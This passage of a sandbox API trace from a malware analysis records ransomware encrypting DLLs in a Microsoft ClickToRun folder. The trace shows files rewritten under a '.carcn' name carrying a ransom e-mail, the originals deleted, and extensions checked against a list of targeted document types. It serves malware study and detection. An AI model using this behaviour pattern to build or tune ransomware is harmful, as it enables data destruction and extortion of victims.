lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0292.339] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0292.340] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.340] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x116, lpOverlapped=0x0) returned 1 [0292.341] SetEndOfFile (hFile=0x334) returned 1 [0292.341] CloseHandle (hObject=0x334) returned 1 [0292.341] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.341] SetEndOfFile (hFile=0x35c) returned 1 [0292.342] CloseHandle (hObject=0x35c) returned 1 [0292.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.342] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0292.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.343] lstrlenW (lpString=".doc") returned 4 [0292.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.343] lstrlenW (lpString=".docx") returned 5 [0292.343] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.343] lstrlenW (lpString=".pdf") returned 4 [0292.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.343] lstrlenW (lpString=".xls") returned 4 [0292.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.343] lstrlenW (lpString=".xlsx") returned 5 [0292.343] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.343] lstrlenW (lpString=".ppt") returned 4 [0292.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.343] lstrlenW (lpString=".zip") returned 4 [0292.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.343] lstrlenW (lpString=".rar") returned 4 [0292.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.343] lstrlenW (lpString=".bz2") returned 4 [0292.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.343] lstrlenW (lpString=".7z") returned 3 [0292.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.344] lstrlenW (lpString=".dbf") returned 4 [0292.344] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.344] lstrlenW (lpString=".1cd") returned 4 [0292.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.344] lstrlenW (lpString=".jpg") returned 4 [0292.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.344] lstrlenW (lpString=".doc") returned 4 [0292.344] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.344] lstrlenW (lpString=".docx") returned 5 [0292.344] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.344] lstrlenW (lpString=".pdf") returned 4 [0292.344] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.344] lstrlenW (lpString=".xls") returned 4 [0292.344] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.344] lstrlenW (lpString=".xlsx") returned 5 [0292.344] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.344] lstrlenW (lpString=".ppt") returned 4 [0292.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.344] lstrlenW (lpString=".zip") returned 4 [0292.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.344] lstrlenW (lpString=".rar") returned 4 [0292.345] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.345] lstrlenW (lpString=".bz2") returned 4 [0292.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.345] lstrlenW (lpString=".7z") returned 3 [0292.345] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.345] lstrlenW (lpString=".dbf") returned 4 [0292.345] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.345] lstrlenW (lpString=".1cd") returned 4 [0292.345] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0292.345] lstrlenW (lpString=".jpg") returned 4 [0292.345] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.345] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.345] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0292.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.346] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=24768) returned 1 [0292.346] CloseHandle (hObject=0x35c) returned 1 [0292.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0292.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.353] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.353] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.354] GetLastError () returned 0x0 [0292.354] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0292.409] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0292.410] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.411] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x114, lpOverlapped=0x0) returned 1 [0292.411] SetEndOfFile (hFile=0x334) returned 1 [0292.411] CloseHandle (hObject=0x334) returned 1 [0292.411] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.411] SetEndOfFile (hFile=0x35c) returned 1 [0292.412] CloseHandle (hObject=0x35c) returned 1 [0292.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.412] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0292.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.412] lstrlenW (lpString=".doc") returned 4 [0292.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.412] lstrlenW (lpString=".docx") returned 5 [0292.412] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.412] lstrlenW (lpString=".pdf") returned 4 [0292.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString=".xls") returned 4 [0292.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString=".xlsx") returned 5 [0292.413] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.413] lstrlenW (lpString=".ppt") returned 4 [0292.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.413] lstrlenW (lpString=".zip") returned 4 [0292.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString=".rar") returned 4 [0292.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString=".bz2") returned 4 [0292.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.413] lstrlenW (lpString=".7z") returned 3 [0292.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.413] lstrlenW (lpString=".dbf") returned 4 [0292.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.413] lstrlenW (lpString=".1cd") returned 4 [0292.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.413] lstrlenW (lpString=".jpg") returned 4 [0292.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.413] lstrlenW (lpString=".doc") returned 4 [0292.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.413] lstrlenW (lpString=".docx") returned 5 [0292.413] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.413] lstrlenW (lpString=".pdf") returned 4 [0292.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.414] lstrlenW (lpString=".xls") returned 4 [0292.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.414] lstrlenW (lpString=".xlsx") returned 5 [0292.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.414] lstrlenW (lpString=".ppt") returned 4 [0292.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.414] lstrlenW (lpString=".zip") returned 4 [0292.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.414] lstrlenW (lpString=".rar") returned 4 [0292.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.414] lstrlenW (lpString=".bz2") returned 4 [0292.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.414] lstrlenW (lpString=".7z") returned 3 [0292.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.414] lstrlenW (lpString=".dbf") returned 4 [0292.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.414] lstrlenW (lpString=".1cd") returned 4 [0292.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0292.414] lstrlenW (lpString=".jpg") returned 4 [0292.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.414] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.414] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0292.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.415] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=19136) returned 1 [0292.415] CloseHandle (hObject=0x35c) returned 1 [0292.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0292.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.416] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.416] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.051] GetLastError () returned 0x0 [0293.051] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0293.054] WriteFile (in: hFile=0x358, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0293.055] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.055] WriteFile (in: hFile=0x358, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x116, lpOverlapped=0x0) returned 1 [0293.055] SetEndOfFile (hFile=0x358) returned 1 [0293.056] CloseHandle (hObject=0x358) returned 1 [0293.056] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.056] SetEndOfFile (hFile=0x35c) returned 1 [0293.057] CloseHandle (hObject=0x35c) returned 1 [0293.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.057] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0293.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.058] lstrlenW (lpString=".doc") returned 4 [0293.058] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.058] lstrlenW (lpString=".docx") returned 5 [0293.058] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.058] lstrlenW (lpString=".pdf") returned 4 [0293.059] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.059] lstrlenW (lpString=".xls") returned 4 [0293.059] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.059] lstrlenW (lpString=".xlsx") returned 5 [0293.059] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.059] lstrlenW (lpString=".ppt") returned 4 [0293.059] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.059] lstrlenW (lpString=".zip") returned 4 [0293.059] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.059] lstrlenW (lpString=".rar") returned 4 [0293.059] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.059] lstrlenW (lpString=".bz2") returned 4 [0293.059] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.059] lstrlenW (lpString=".7z") returned 3 [0293.059] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.059] lstrlenW (lpString=".dbf") returned 4 [0293.059] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.059] lstrlenW (lpString=".1cd") returned 4 [0293.059] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.059] lstrlenW (lpString=".jpg") returned 4 [0293.059] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.059] lstrlenW (lpString=".doc") returned 4 [0293.060] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.060] lstrlenW (lpString=".docx") returned 5 [0293.060] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.060] lstrlenW (lpString=".pdf") returned 4 [0293.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.060] lstrlenW (lpString=".xls") returned 4 [0293.060] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.060] lstrlenW (lpString=".xlsx") returned 5 [0293.060] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.060] lstrlenW (lpString=".ppt") returned 4 [0293.060] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.060] lstrlenW (lpString=".zip") returned 4 [0293.060] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.060] lstrlenW (lpString=".rar") returned 4 [0293.060] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.060] lstrlenW (lpString=".bz2") returned 4 [0293.060] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.060] lstrlenW (lpString=".7z") returned 3 [0293.060] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.060] lstrlenW (lpString=".dbf") returned 4 [0293.060] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.060] lstrlenW (lpString=".1cd") returned 4 [0293.060] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0293.060] lstrlenW (lpString=".jpg") returned 4 [0293.060] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.061] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.061] lstrlenW (lpString="ApiClient.dll") returned 13 [0293.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0293.061] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=162880) returned 1 [0293.061] CloseHandle (hObject=0x35c) returned 1 [0293.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0293.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0293.062] lstrlenW (lpString=".doc") returned 4 [0293.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.062] lstrlenW (lpString=".docx") returned 5 [0293.062] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.062] lstrlenW (lpString=".pdf") returned 4 [0293.062] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.062] lstrlenW (lpString=".xls") returned 4 [0293.062] lstrcmpiW (lpString1=".xls", 